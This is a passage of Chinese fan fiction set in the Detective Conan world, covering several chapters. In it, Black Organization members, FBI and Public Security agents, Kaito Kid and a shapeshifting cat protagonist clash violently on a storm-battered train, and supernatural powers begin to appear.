长濑花蓄势的一击已经从后方袭来,锋锐的刀锋直指他的后心,琴酒紧急避过,他的眼角处看见,伏特加不知何时已倒在地上了,长濑花不会放过一个有可能会对她造成影响的人。 琴酒一个扫腿往她的腹部而去,他的风衣衣摆掀起,与此同时,一个蓄势已久的黑洞洞的枪口指了过来,一颗子弹从中射出。他整个人往侧面一躺。 长濑花感官敏锐,她在子弹还未来临之际,就将身躯一扭,以一种夸张的弧度,偏转了一圈,闪躲了过去。她再度落地后,几乎是瞬间,就在车厢内打了个滚,躲开数颗接连碰撞出火星的子弹。她的眼眸一沉,那种特制的药物现在还没对他产生影响吗? 她的身影如飞扑的鹰隼,果敢迅捷地极速回转过去,眨眼间,她就与琴酒激烈地交战在一起,这一次,她再没有如上次那般,轻易地就被琴酒击飞出去,她神情冷酷,彰显出一种顶级杀手的沉稳。 一场格外凶险的战斗就此打开。 “糟糕糟糕!”怪盗基德戴着高顶帽,如风一般在这个列车的车厢中飞速奔跑,他不是一个人在奔跑,而是带着另一人。 “快将我放下来啊,臭小子!”毛利小五郎脸色通红地大声喊叫道。 他为什么这样羞恼,是因为他现在的处境姿势。任谁身为一个有家有室的四十多岁的大叔,被另一个最多和他女儿一样大的小孩子用公主抱的姿势抱在怀里,都恨不得刚才死在那里算了。别说他看不出来,只要靠得近了,很容易就能辨出,基德还是一个年轻人。 “哎呀,”基德也意识到了不对,他眼珠子转了转道:“这不是没办法吗,下意识地就这样做了。”之前抱青子抱顺手了,他连忙道:“你腹部中了枪,不能乱动,这也是没办法的事。” “别说话!”他轻喝:“你太重了,再说话就跑不动了。” 毛利小五郎只好僵直着不动,但看他神情,他恨不能就这样晕过去。 劫匪在后面追着。基德有些为难,他需要将这个百多斤的大叔藏在一个房间内,可现在难办的是,一路路过的都是被劫匪洗劫过的房间,没有人开门,里面寂静得像人都死了一样。 “得找个杂物间。”上车前就看过了列车布局图的基德在思考,“还在前面一点,我需要坚持。” 毛利小五郎已经不再说话了,脱离了羞恼,他的脸色迅速苍白起来,一只手捂住的腹部,有鲜血潺流而下。 “将宝石交出来!”身后有人在喊。基德的脑海中已经塑好了接下来的一系列计划,就在他在想要将这群人引去哪里的时候,一个高瘦的身影从前方走了过来。他身穿黑色的羽绒衣,颧骨较高,鼻梁挺直,一双绿色狭长的眼下是淡淡的黑眼圈,他的身形太高,比毛利小五郎都要高出半个头。他很英俊,但是是一种格外凌厉的英俊。 “你们这是……”见到基德与毛利小五郎的样子,就算是他,也不由愣住了。 “毛利先生……”他问。 “不,你认错人了!赤井老弟!”毛利小五郎迅速打起精神,他捂住脸大叫。 基德流下一滴汗:“现在你应该叫他赶紧躲开吧。不过,”他仔细地辨识了一下这个人,又在他身后背着的一个长条包上多停留了几秒,这个人的视线立刻就与之相碰,他忽然想到:“我们或许不用再逃跑了也说不定。” 赤井秀一的眼神很快又落到了毛利小五郎的腹腔部,见到了鲜红的颜色,他的面上迅速就沉了下来。基德立即就感受到了那种压力,他咂舌了一下:“不,是真的完全不用跑了。只要他对我们没有敌意。” 赤井秀一也没准备再隐藏。这辆列车上正在发生一件或几件会威胁到全车人性命的事,他与黑色组织的纠葛也很有可能会在这里划下一个安顿号,接下来将有一场更危险的战斗。这些劫匪,就让他们的落网,作为战斗的开场吧。 “将宝石交出来!”跑了数段车厢的劫匪头子冷厉地说,他端着枪,身后跟着一连串的小弟。因为毛利兰带着柯南的逃跑,让他惊诧了一刹,而就是这一瞬,这个穿着一身白的奇怪的行为艺术者,一下子就用一条极细的长线,尖端系着一个钩子,勾走了他藏在怀里的宝石盒。这种奇妙的技术他根本没见过,就像是变魔术一样。 他们一走,之前被他们“打扰”过的班克斯夫人和她的保镖,还有那位邻间的小姐,就都被他们抛在了脑后,瞬间就变得安全起来。这也是基德这样做的缘由,让他松了口气。他看向赤井秀一,看他准备怎么做。 他是个很自负的人,确信自己的眼睛不会看错。但,若是看错了怎么办?,还能怎么办,当然是继续逃跑了,加上这位新朋友一起。 索性赤井秀一没有辜负他的期待。他从始至终都很镇定,在劫匪闯入后,他迅速总结了下这些人的数量和站姿,然后,他往前踏出一步。 第74章 局势掌控 赤井秀一, 一位美国FBI中精英探员里也是最优秀的那一批,在面对着一群闯入列车的劫匪时,需要多少时间将他们制服呢? 事实是根本不需要多久。在劫匪的老大喊出那句话后, 原本还站定在原地的赤井秀一一个闪身,劫匪们还没反应过来,不知何来的枪声就响彻在他们耳边, 其中一人身上崩出了血花,在众人惊慌之际, 他出现在他们之中,再之后, 就是一顿极漂亮的近身搏击。 敌人的节奏完全被打乱,就算想要开枪, 也只是打在了同伴的身上, 引发了更大的恐慌。劫匪头子讶异到恐惧, 他大喊:“你是什么人,为什么会出现在这里?” “在车上的还能是什么人?”赤井秀一也不介意回答他,他微微一笑道:“自然只是一个普通的乘客了。” 劫匪头子根本不信。他咬紧了牙, 更快速地射击。倒是基德在一旁看着, 还有余暇为他鼓掌, 他道:“好身手, 不愧是FBI出来的。” “FBI?”毛利小五郎脸上流下了汗道:“你怎么知道他是FBI的?” 基德不好意思道:“不管怎么说我也是个怪盗啦,与FBI也是打过交道的, 能够有这种身手, 还有那种特有的格斗技艺,都在说明了他的出处。说实话, 第一次见到FBI,没有被喊打喊杀, 我还真是有些不习惯呢。” 毛利小五郎神色更苍白了,他喃喃道:“我居然一直是在和一个FBI打台球,还有……车上为什么会有FBI,是他们从什么地方早就得到消息了?” “不,”基德回答他:“我倒是觉得他不是为这些人来的,”想到自己查到的某些东西,他眨眼道:“说不定这车上还有其他的一团人呢!” “那不是更糟糕了吗?”毛利小五郎忍不住喊:“这辆车是得罪了鬼神吗,为什么牛鬼蛇神都上来了啊喂,既然如此,就不要让普通人上车啊咳咳咳咳咳……” 他忍不住咳嗽。基德叹了口气,他道:“大叔你还是注意下自己吧,你流了太多血,再说话就没力气了,你也不想再见不到自己可爱的女儿了吧?” “为什么你这话说的就像是威胁?”毛利小五郎还是想要吐槽,“不过,没关系,”他冷静了下思绪,靠在一边道:“我已经避开了致命的地方,只要找到药和绷带,我就能坚持下去……” 赤井秀一从另一边踏步而来,身后是躺倒了一地的劫匪,他看了眼基德,道:“我的包间里有最新的药物,去给他做基础的包扎吧。” 毛利小五郎松了口气,他知道自己暂时安全了,迷迷糊糊的就晕了过去:“小兰……” 赤井秀一刚想要继续往前走,就见到那个一身白的小偷忽然瞪大了眼,他震惊地看着自己的后面,并大喊:“小心!” 赤井秀一下意识地往旁边一闪,刚才待着的位置倏然就落下来一道重击,他眼神锐利地往后方望去,便见到在一地的劫匪中,之前被自己打倒的劫匪老大不知为何又重新站了起来,他低垂着头,发丝遮住了脸,双手怪异地垂下,像是两根无力的面条,他嗬嗬出声:“不管你们是谁……呼呼……胆敢这样对我……” “就让我用这禁忌的力量!”他猛然抬头:“送你们下地狱去吧!” 另外一边,与琴酒分开的基安蒂正在寻找一个好的地方,她的身后同样背着一个长杆样的东西,面上化着暗黑的浓妆,眼神中无时无刻不在透着一股凶意,她左右逡巡着,嚼了嚼口中的口香糖,心中涌出一股躁意:“真是一只会逃跑的老鼠,只是一个情报商,居然给组织带来了这么大的麻烦,最后都是死,乖乖伸长脖子去死不好么,非要逃到这里来。” “这该死的天气,该死的列车,还有,该死的琴酒,”她倒是不介意骂那个人骂出声:“不知给老娘干到哪儿来了……” 一道白影飞快闪过,基安蒂陡然望去,只见一只白猫正轻巧落地,无声地回头看了她一眼。 “还有只会吃白饭的哥连士,”她继续在心里骂:“上车也不知道从哪里弄过来一只猫,这种柔弱的小玩意,只要我轻轻一掐,就不知道能掐死多少只……” 似是感觉到了她的杀气,白猫又一个轻跃,飞快地消失在这节车厢。 +8 白猫极速在车厢中奔跑,与此同时,还有光点在无时无刻地融入到他的身体中来。他在捋顺着自己这一路碰到过的人。 风祭野见与柯南一家初遇,+83;与黑衣组织的另两人碰到,+44;被某个暗地里观察的小偷观测到,+33;与一个用自己另一个身份偷摸上来的卧底擦肩而过,+34。 用自己的猫身,在黑衣组织的一伙面前现身,+106,其中还有三轮未海的4点。只能说,每一个新马甲的上台,都能够很轻易地收割到一番关注值。 猫猫继续奔跑,在行过一个躲藏起来的身影时,+34。一双红色的眼睛将视线落在他身上,他轻轻地笑了,连之前的那种癫狂也好似散去了几分,心情愉悦了许多。 总共是338,再加上之前剩下的138.3,与近期另一个歌手马甲送来的光点+75.5,他现在有了551.8的光数。也就是说,他现在有了五抽。猫猫停在一节车厢内,他抬头向前望去,仿佛能看到在更远的那两场不同的战斗。有细微的风从前方吹来,轻轻从他的毛发上吹拂而过,他静静地屹立在这里,恍如不该出现在此处的画中之灵。 基安蒂啧了一声,她偏移开视线,不再看那猫逃走的方向。她需要找到一个最佳的狙击的位置,将自己埋伏好,等待琴酒下命令的那一刻。之前琴酒与那人的搏击她可是都放在眼中,骂归骂,她还是知道那人斤两的。就在她还要往前时,一声轻笑出现在她的耳中。 基安蒂陡然瞳孔一缩,她毫不迟疑地大长腿往外一扫,一个身影不知何时已靠得极近了,她之前竟然一直没有察觉到!那人就像是鬼魅一样,出现得无声,出手也格外从容,他用手肘一挡,另一只手就这样往前拍来! 基安蒂的格斗术只能说优秀,还没到琴酒那种超越了极限的地步,她勉强往后缩,躲开这拍向她胸口处的一击,她再一闪躲,一道腿风就扫过她的身躯,只留下凛冽之风带来的寒意。她的眼神格外凶狠,手往腿部一抽,一把枪就出现在她手中,她正要往那人身上倾泻子弹,那人手中便同样出现了一柄枪。 “砰!”是子弹击中她手腕的声音,剧烈的疼痛袭上她的脑海,基安蒂咧开嘴,她毫不犹豫地放弃了枪,整个人疯了一样往前扑去,她用自己的四肢,用自己的身躯,用自己的牙齿,每一分每一秒都要给敌人留下伤口。敌人似是笑了下,他的帽子掉落在地上,露出漆黑如夜的短发,他的红眸红的像要滴下血来,他问:“当初在天台上,是你开的那一枪吧?” 基安蒂咽下带腥气的血,她狰狞吐声道:“我只恨没有一枪崩死你!” 望川涉缓缓露出一抹带着邪气的笑:“那实在是太好了。希望我现在的这一‘枪’,你能够承受住。” 车厢不断被撞击的声音传出,丝毫没有顾及对方女性的身份,望川涉一下一下格外凶狠地殴打在基安蒂的身上,基安蒂也毫不服软,她每一下都冲着要他的命的架势而去。只要望川涉露出一个破绽,她就能像条疯狗一样撕咬而上,直到最后,她的头脑浑浑噩噩,浑身上下都是被打出的伤。即将昏迷间,她感到有人在她身前弯下腰来,一道冰冷的枪口,抵在她的额头上,她无力地弯了下嘴角,最后留给他一句诅咒的话。 “砰!”鲜血泼洒在车厢的玻璃上。余下一片沉默的死寂。 许久没有动静。望川涉踏过这片“战场”,将帽子捡了起来。再然后,他望向一边,在那里,一道呼吸骤然停滞住了。 “前辈,”列车上陷入了格外危险的时刻,在某个地方,还是处在一片安宁当中。风祭野见在着摆弄自己的手机,在他的旁边,有一个古老的盒子放在那里,他好像在出神,又好像是在休息。“我还一直都没有问,”三轮未海在一旁坐立不安:“我们这个组织的目的是什么啊?” 风祭野见有些奇怪地望着他:“还能是什么,黑色的组织不都是为了金钱和利益吗?” 三轮未海张了张口,不知道该怎么说:“我总觉得不只是这样的……” 风祭野见不抽烟,他听着外面的风声,另一只手一下又一下地扣动着金属的打火机,他笑了:“不知你是从哪里来的预感。不过,有没有人和你说过,”他说:“三轮,你的感知太过敏锐了。” 他望向窗外,列车的玻璃上,一小簇的火苗一下又一下地窜起,他的眼中深沉无边。 三轮未海又体验到了那种压迫感,但他还是道:“是的,从小时候开始,我就能观察到很多的东西。我总能看到别人隐藏面具下的那张脸,他们心中的所思总是与他们表现出的不一样,通过这些,我规避了很多危险。” 风祭野见淡淡道:“这是种天赋,三轮。但运用的不好,也会给你带来危难。”就像是之前在公司里,三轮未海连自己也不知道,他几乎是本能地看出了风祭野见的伪装。 “但总比什么都没有的好,”三轮未海说:“就像是从以前一直到现在,我都很钦佩前辈,相比较于那个银头发的,我认为跟着前辈,才是我最好的出路。” 风祭野见微笑:“你很紧张,三轮。” “是的,”三轮未海道:“前辈,不知道为什么,自从上了这辆列车,我就越来越紧张了。” “我曾经放弃过你。” “您没有救下我的义务。” “你是来监视我的。”风祭野见说。 “他是下过这样的命令,但我觉得,他就是想要用我来恶心你一下。”三轮未海说:“在当晚,他其实对于我的恶意要远远大过你。如果您不是那样说,他不会保下我。我会听从他其它的命令,除了这一条。” “那你就死定了。”风祭野见道。 “前辈,请救救我!”三轮未海又一次说出了与当晚没两样的话。他倾身过来,两只手抓向风祭野见的手臂,身躯在微微颤抖。 风祭野见叹息:“为什么会认为,我这个组织的小透明,能够从组织的头牌杀手手里救下你呢?” “因为前辈你很厉害。”三轮未海坚持说:“在我眼中的前辈你,就像是深海中的庞然大物,露出来的,只有最上面一点点最小的部分。你就像是黑暗的本身,越发探索只会陷落其中,不知道什么时候就会被扼住咽喉。你想做什么都会成功,只因这是你想的。” 风祭野见回头望他,他能够感受到他那种的颤栗情绪,他凝望着他,是一种恭敬又顺服,畏惧又崇敬的情感。看得深了,还能从中瞧出憧憬。他似乎早就在为他的两面性着迷了。他的出生与经历,都让他无法不为这种极致的反差和恐怖的掌控力感到仰慕。 外面的雨开始来了。 第75章 扩大的风暴 风总是夹着雨来的, 尤其是这样罕见的大风暴。 列车在铁轨上都开始不断摇晃起来。所有待在自己房间的人都抱紧了亲人朋友,既是在祈祷风雨赶紧过去,也是在乞求那些带着枪的匪人们赶紧结束暴行。 小兰在将劫匪甩脱, 将柯南安置在了一个安全的地方后,转头就要去往自己父亲所在的位置。但柯南死死地拉住了她的衣服,他道:“别去, 叔叔已经脱离危险了。” 小兰双眼通红,她愣了下, 以为他是想要安慰她,柯南就只好说:“我在叔叔的口袋里放了窃听器, 是博士制作出来的最新版本。他被基德救走了,现在已经逃脱了。他们碰到了一个人, 那个人是车上的FBI。” 在他们的旁边, 是一起出来的灰原哀与博士, 他们出来的并不久,也是灰原哀眼睛尖,反应快, 在注意到柯南与小兰的第一刻, 就将他们拉了过来。现在这里, 是一个看上去很不明显的小杂物间。 “FBI?”博士大惊:“为什么车上会有FBI?” 灰原哀在一边攒紧了手指, FBI给她留下的印象从来都不好。也幸好柯南及时赶到了这里,否则的话, 她说不定还能在车上遇到什么人。现在的这趟列车, 已经成为了各项势力搅在一起的漩涡。 “谁知道呢,也许是度假也说不定。”她假作不在意道。柯南清楚, 她是想要将局势说的不那么危急。可小兰相信了,她看向柯南, 眼中隐隐有求助:“你说的是真的吗?” 柯南狠狠点头,他拿出自己藏起来的侦探队徽章,坚定道:“自然是真的。”他没有说小五郎受伤的事。 抱歉,兰,叔叔也对我说了,不论如何,你的安全才是最重要的。 另一列的车厢中,在将组织的狙击手解决掉一个后,望川涉刚将手中的血擦去,就注意到了一边。帽子在他的手里转了转,他道:“都看完了,就出来吧。” 那边人不动,望川涉也不动。他面上依旧带着笑,是那种凡事都在掌握中的,笃定的、从容的笑,暗中的人不明白,他做下了这么多事,是从哪里来的这样强大底气的。 他的心中思绪流转,最后还是慢慢地从角落里走了出来。一头浅金的短发,面容英气立体,身形矫健硬挺,一双紫灰色的眼中满是阴沉凌厉,这个人很谨慎,手中的枪始终在对准着望川涉。 “哦?”望川涉挑了挑眉,他看上去比对面人年轻了许多,但气场好像更盛,他嘴角含笑道:“原来是‘波本’酒啊,怎么,看到自己的同伴丧生在我手里,你一点都不想救她吗?” 谁知波本也在心中暗骂,谁会想要去拯救这些恶贯满盈的酒厂人员啊?现在也不是要留存证人的时候,留下她说不定就是放虎归山……而且,我还以为你没有发现我,我也没有要与你打斗的准备;并且自己没有向组织报备就出现在这里,这一点可不好解释。 “不过想来也是,作为公安的零之行动的执行人,你确实没有要救下她的必要。”望川涉恍若无事地吐露出对面人最致命的秘密:“我就是挺惊讶,你没有跳出来,说要保下她的命,要挖掘组织更深处的秘密。” 外面的风雨很大,大到降谷零还没来得及质疑他怎么知道自己在组织中的身份,脑中就空白了一瞬。他握枪的手都抖动了一下,他听见自己慢慢地说:“你在说什么胡话啊,你,是在说我是卧底么?还真是、信口就来啊!” +41 望川涉笑得更为灿烂了,他无视了降谷零手中的枪,将那顶帽子戴回到了头上,再用他那双神秘的、莫测的红色的眼睛注视着他,“你以为我在与一群人合作前,不会将他们的一些基础讯息调查清楚么?” 可是,降谷零咬得牙龈都疼了,潜入组织中卧底的名单可是绝密的,知道自己身份的人,在整个系统中,也不超过一掌之数。你到底是从哪里知道的? “这不是什么基础讯息。”他似是想起了什么,眼神暗沉,看起来比有些人更像黑衣组织的成员,他的枪依旧没有放下:“告诉我,你是怎么知道的?” 望川涉叹气,在降谷零全神贯注等待的时候,他状似习惯性地打了个响指,道:“我自是有我的渠道的,这一点你不用担心。” 他微笑着,语声放柔:“更何况,不是你们公安首先找上门来,说要与我合作的吗?现在就要知道我的秘密,要知道我在黑白两道安身立命的本事,这对我们以后的合作可不是什么好事。就算要卸磨杀驴,也不是在这种什么都还没结束的时候。”他的目光流转,红色的双眼中,仿佛有柔光在微微闪动。“我若是真的要利用这点做什么,就不会在这里暴露给你了。” 降谷零想了下,犹豫道:“最好你说的是真的。” 望川涉笑得更灿烂了,他知道,自己已经稍微卸除了这个人最外围的心防了。最起码,不用在刚杀了黑色组织的地方,再解决掉一个原本还不是敌人的公安。不用在背负着酒厂追杀的同时,还要面对着日本公安的追捕。 如果在这里将降谷零解决了,其他的马甲也一定会为我惊讶的吧,望川涉忽然这么想。但很快,他就不得不放弃这一点,因为,这与他的行事风格不熟,这个人也没有首先对他动手。并且,“亲爱的本体估计不会让我去做这种毫无意义的事。”他假作无奈宠溺地叹息一声。 于是,在这个还遍布着黑衣组织成员血的地方上,这位危险又叵测的被称为“傀儡师”的情报商人微微弯腰,对着降谷零低声笑道:“那么,希望你与我,在接下来,都能够得到自己想要的。”他没有低下头,目光依旧在直视他。他的每一丝动作都好似有着一种魔力,能够轻易牵引起人的心神。 直到这个人再度走远了,降谷零待在原地好一会,才慢慢地从那种紧绷又微醺的状态中放松下来,他将自己的脑袋放凉了一会,再扫视了下四周,才终是将视线落在了尸体上。 “是真的死了啊。”他喃喃道,走到近处,开始搜索起来。 日本公安处,负责与“零”联络的风见裕也将手中的手机放下,听见旁边的同事在唤他,他赶忙跑了过去。 “又是你那个上司吗?”他的同伴惯常问了一句。 风见裕也憨笑道:“没,是一位警局的朋友,说要晚上一起吃饭。” “哈哈,哪里来的时间吃饭?”他的同伴大笑道:“我们这种工作,在封闭时期,可是连亲人朋友都联络不上的啊。”紧接着,他就嘀咕道:“也不知道是哪个神人,给出了这么多情报,最近我们就一直在追剿中,行动都停不下来。真是难以置信,这种境外潜藏进来的势力,竟然已经牵涉这么深了!” 风见裕也眼镜下的目光闪了闪,想到了最近的交火与冲突,想到了这其中牺牲的同事,他沉声道:“这些腐肉都是要被剜去的,越留下来,就会造成越多的伤害。” 他的同伴恨声道:“就是一部分逃了,像是早得到了消息,我们赶过去的时候,那里已经人去楼空了。” “没关系,那个势力也有些顾不上这边,”风见裕也将一只手搭在他的肩上:“经过这一轮,警局系统中的谍子也隐藏不住了,解决了他们,剩下的,”他抬了抬眼镜:“都逃不了。” 列车是中心,它被风暴挟裹着,但隐隐的,另一场更大的风暴正在世界各地被引发。 长濑花的爪刀使得极好,就像是自己身体新延伸出的一部分一样,每每都能取得她想要的成果。但琴酒不是她从前的敌人,他是一个战斗力甚至还在她之上的人,他的每一次进攻,都能够给她带来极大的威胁感,仿佛下一秒,就能彻底解决掉这个胆敢向他挑衅的人。 子弹的枪声响起,列车的车厢上又留下来一个枪口。在最初的极险交锋后,长濑花与琴酒你来我往了好一会,直到有一瞬,她被压迫到了车厢边上,不得不接连闪躲。耳边的墙面上被顺势连插了好几刀,每一刀都是贴着她的耳廓落下,险些直接将她的一片耳朵直接削掉。长濑花也不甘示弱,她回身就是一个横扫,要重重击打在琴酒的腹部,止住他过于迫近的身体。 琴酒眼一厉,他毫不客气地抓住了她的长腿,再一用力,就要以之为支点,将她的整个人夺来。长濑花丝毫不慌,她知道自己的弱势,也知道如何要将弱势转化为自己的优势,她竟是毫不抵抗,往他那边欺身而去。琴酒意识到了不对,但长濑花已经凭借着这股力道,如戏法一般连翻身体,双腿如剪刀一般夹住了他的腰,再然后如蛇缠蟒,以一种恐怖的力道,将之缠倒在地。 这是一种使全身的力量集中在一处的技艺,极为可怕也极难应对。 琴酒摔倒在地上,长濑花手中刀闪电般直接往琴酒的右眼眶中刺去,若是等她得逞了,眼睛没了倒是小事,只要她通过眼眶再搅一搅,说不得琴酒的脑浆就要被她搅匀了。他仅仅只是稍稍偏移了下头颅,任由她在他的眼角处落下一道恐怖的伤口,待她要再度行凶时,他便双腿发力,身体如炮弹一般要往前撞,长濑花面目狠厉,要更加迅猛地往下下刀,但一个势大力沉的拳头已经落在了她的小腹部。她不由闷哼出声,身体滞了下。 琴酒迅速抓住这一破绽,他以此逃脱翻转过来,从后面扼住她的咽喉,就势往她的太阳穴上打了两三拳。长濑花吐出口血,眼神迷蒙了一刹,但紧接着,她的手肘就同样重重击打在他胸口处,再用后背迅速往后一靠,将二人一齐撞在车厢上,列车发出哐哐当当的声音。 他们再次交缠在了一起,琴酒给了长濑花脸部好几个拳头,但下一刻,长濑花就抓起他的头发,将他的后脑勺往后连撞了几下。这好似是更加惹恼了琴酒,他掰折了长濑花的一只手腕,骨头碎裂的痛楚没有令她动容分毫,他拖着她,要将她往尖锐的地方撞死。但这个女人仍不肯服输,她有着改造过来的可怕的力量,哪怕受伤也要将一柄仍不知藏在哪儿的小刀往他的腰部刺,她眼神是与他如出一辙的冷漠狠戾,甚至,她比他还要更疯狂、更无忌! 琴酒哈哈一笑,他已经感觉到了,她刺向的仍是最开始的那个位置。她从来就不怀疑自己,她相信自己的毒药一定会起作用! 既然如此,琴酒的眼神也彻底被疯狂侵染,将最后的理智抛给上帝,他大笑道:“既然你那么想我死,那就一起去死好了!!” 他们彼此锁紧在车厢内残酷地战斗,外面的风更大了,呼呼地往里吹,吹得人心里寒冷彻骨,雨也开始哗啦啦地下,下得让人除此之外,听不见任何声音。车厢内的灯光系统不知何时被破坏掉了,在一片的黑暗中,两道身影一起纠缠着掉落到了入口外。 长濑花感到自己的一只手已经完全使不上力气了,但她仍没有放弃,因为对手还没有死。她竭力让自己稳定住身形,从下面往上面爬起,天地间一道惊雷闪过,另一道身影闪现在她眼前。 他仍然还在! 第76章 特殊的变化 电视台在播报着一则天气预报, 天野侦探社中,只有一个人在观看着电视的节目。很少有人去关注一个千里之外地方的气候,只有牵涉到其中的人, 才会时时为之注目。 美月小鸟站定在原地。她是一个平日里很娇憨也很温柔的女孩子,在公司中会经常给予人一些力所能及的帮助,她行事细心, 个性体贴温柔,是银行中最受人欢迎的那一组。她与风祭野见也是熟识, 在对方偶尔手忙脚乱时,会帮上一手。 没人认为这有什么不对。美月小鸟就是这样一个灿烂又惹人爱的孩子, 如果可以,她会一直这样生活下去, 直到遥远的未来。 可是现在…… 她将长长的头发扎了起来, 高跟鞋换成皮靴, 有人走近过来,她抬头看了他一眼。手中摆弄着最新式的配枪,将清空的弹匣换下, 放入新的子弹。 来的是一个有些俊气的青年, 他身形瘦长, 一张脸浓薄相宜, 只一对眉紧紧地锁着,似是常常有所思虑。 二人身上都穿着一件印有FBI字样的马甲, 在他们身侧, 数位相同部门的人在来来回回地处理着现场的事物,有人抬着担架路过, 爆破组的人将一些残骸从中整理出来,警察在外围为他们维持秩序, 不让误入的人进来。 “事情都处理好了,伊安森?”美月小鸟轻快地问。 青年瞧了她一眼,道:“这里是组织很重要的一个聚集点,打掉了它,就代表着组织在这一块区域内再也没有多余的人手。” 美月小鸟点了点头:“这些都只是组织的细肢,代号成员才是他们的中坚,不处理了他们,不能说是给组织造成了重创,他们随时都可以重新再来。而琴酒,就是这其中最锋锐的一把锥子。” 伊安森一下子就看出了她在想什么,他说:“你在担心他?” “是的,”美月小鸟道:“我知道他胸有千壑,但智慧并不等同于武力……” 伊安森冷笑了下:“你担心他还不如去担心长濑花,她才是要直面琴酒的那个人,而那个家伙,刀折了他都不会有事!” 美月小鸟不赞同地看着他:“不论如何,他都是带领我们的人,伊安森,你要对他保持尊重。” 伊安森笑容未变,他又看了她一眼道:“你我都知道他是一个多么冷酷无情的人,不过不用担心,虽然我不喜欢他,我也知道,只有他,唯有他能将我们从这之中带出去。除了他,没人能做到。” “而且,他根本不在意我说过他什么,”他反身往回走,伸手摆了摆:“否则的话,你以为我为什么会在这里,还成为了你们的一员。” 正因为黑暗太过庞大,希望太过难得,所以他们才会不由自主地被吸引在一起,化为了他的刀兵。 我们为什么难以反抗命运?因为命运不是一代两代累积在我们头上的,它是从很早很早以前,远在我们还没有出生时,就设定好了一切。 美月小鸟有些讶异地看着他的背影,想了想,她又摇了摇头道:“你这不是还跟随了他吗?” 她还想要说什么,身上的联络器就响了起来。她拿起来一看,柔美的脸上瞬间就冷肃起来,她挺直了身体,往下一个地方而去。 “我们都是不被欢迎来到这世上的小孩子,迎接我们的没有鲜花和掌声,我们只好独自绽放,身下是同伴互相拼杀后留下的尸骸。只有他将我们捡了起来,跟着他,我们才跌跌撞撞地步入了成年人的世界。”——美月小鸟 ………… 风祭野见在看外面的风雨,在说完那一通话后,三轮未海也陷入了沉默。他不知危险是从何处来,但也看出了风祭野见的不对。他一点也不关心组织的其他人去了哪里,只是好像在等着什么。 他在等什么,他在等一切结束,列车上的,列车外的。长濑花与琴酒的拼杀是她争取来的,她需要用这一场战斗来回报自己这么多年来的努力,所以,在这场战斗的开始,没有人去打扰他们,他们得以有了一个安静的战场。 但在那之外的暗流一直都没有停止涌动。组织自然不可能只派出这几位的代号成员,还有其他的人埋伏在暗中;而比起他们,公安与FBI也不遑多让,不少人替代了原本的乘客,成为了隐藏下来的力量。 长濑花几乎看不见面前。冰冷的雨水从她的头发上,从她的面庞上流下,与她伤口处的血混杂在一起,又重新融入到更多的雨水中。她感到自己正在失去温度,尤其是凛冽的寒风有如实质地正面扑来,让她的身躯如同迎对着高强的压力。 但,她还是感觉到了!那人几乎微羽般的呼吸声,她迅速将手往前一抬,一道攻击就落在了她的手肘上,她再往后一倾身,一道冷冽的刀光就在乍来的雷光中一闪而过。她的眼中迸发出极强的杀气,毫不迟疑地就上前再次与他搏斗起来。 风像是终于被解开了封印,在天地间恣意的呼啸奔跑,大雨也伴随着它欢闹,它们在人间组成了漩涡,再呼朋唤友,凝聚成连接天地的大龙,这就是能被称之为天灾的飓风了。 没人知道,在他们躲在包间内瑟瑟发抖的时候,在他们的车厢上,在列车外的顶部,有这两个人在进行着生死搏杀。他们谁也不肯放过谁,在风雨中要致另一个人于死地,为此不惜牺牲自己的全部。 直到时间更入深夜,这场仿佛看不到尽头的战斗才终于步入了尾声。到了后面,琴酒的毒素终于无法抑制,随着鲜血流通了他的全身,他的半边身体失去了知觉,只能通过一只手与一只脚来战斗。长濑花大笑着扑倒在他身上,用牙齿撕裂他的咽喉,她吞入着敌人的血,恣意享受着自己的战利品。 “疯子,”琴酒淡淡地想:“死在疯子手上,大约也是我的宿命。” 他的神智逐渐模糊,长濑花也渐渐失去了力气。两人又一起滚落下去。下方是无边的黑暗和未知的领地。荒野崎岖,遍布着碎石与荆棘,还有陡峭的坡道与怪异的地形。 一刻钟,两刻钟,三刻钟。倏然,“砰!”一只可怕的粗壮大手猛然从黑暗中抓来,它死死地攀附在列车的车厢上,锋利如尖刀般的指甲深深地勾勒进金属中,它猛一用力,车皮就如豆腐般被撕开。其浑身暗紫,青筋结虬绽出,体型硕大,绝非人类之手。 风声也尖锐起来,像是魔鬼的尖笑。 赤井秀一不知道外界的变化,这变化也是在之后发生的,但他当前面对的,也不是一个普通的对手。原本被打倒的劫匪的头子不知为何又重新站了起来,还拥有了明显不俗的力量。他猖狂大笑道:“就是你这家伙要来阻止我?要当一个救下他人的大好人?” “不自量力!不自量力!”他疯狂地将一些东西往这边投来,基德赶忙将毛利小五郎带到更后边的位置,赤井秀一则是快速地闪躲,避开这一道道黑色的、像是标枪一样的东西。 “这是什么鬼啊?”一向见多识广的基德也表示自己开了眼界,“是魔法?” 明显赤井秀一知道的更多一些,毕竟背靠着一个国家,他眼神深沉道:“异能力……” “乖乖地被我抢不就好了,我还仁慈地给你们留下了性命,这些钱对于你们来说都不算什么吧?”他扭动了下脖子:“毕竟是能坐上旅游列车的人,花了别人一辈子都赚不到的钱,就是为了坐一趟车,被抢,是应该的吧?”他满怀恶意地看过来。 赤井秀一与基德都没有要理会他的意思。基德对赤井秀一道:“我就先不问你什么是异能力了,你能对付他吗?” 赤井秀一很冷静,他再次闪躲开道:“他的异能力是物质型的,看上去很危险,但还能应对。你们先走吧,毛利先生的伤不能再拖了,我的房间号是D403,你直接进去就行。” 基德也很干脆,他看了这里一眼,“行,多保重。我就先走了。” 他没有将车间的门阀关上,两道黑色的尖刺迟了一步,只刺入到两边的墙上。基德走后不久,身后有枪声不断地传来。 白猫注视着这一切,包括这其中一些特殊的变化。它轻盈地跃动,晶莹的双眼中映入了黑暗。它歪头想了一下,继续往前行去。 而与此同时,在车厢内的望川涉慢慢地停了下来,“失败了吗?不,没有失败。只是夹入了一些不该有的东西。” “还真是激进啊。”他说着不知在哪里的某个人,面上的笑容却愈发期待起来。给自己的另一个马甲发去了一则消息后,他就将手机收了起来。“还要我亲自动手吗?” 他有些苦恼的摸摸头:“本体只是一只猫,那个家伙又没有点开战斗的技能,除了我,还真没有人能将之挡住。其他的人更不行,他们再优秀,也还是属于凡人级别的……嗯?” 他忽然止住身,回头往后望去。 某种黑暗中的怪异之物正在死死地盯着下方这个渺小无比的人类,它能够感觉到,这个人类也是它一直在追寻的目标之一,心中涌出无限的渴望。 但望川涉看着的也不是它,而是更后面。良久,他才稍稍抬起头,与上方的那物目光相对。 第77章 即将出场的异能马甲 那是一双狰狞又妖异的通红的眸子, 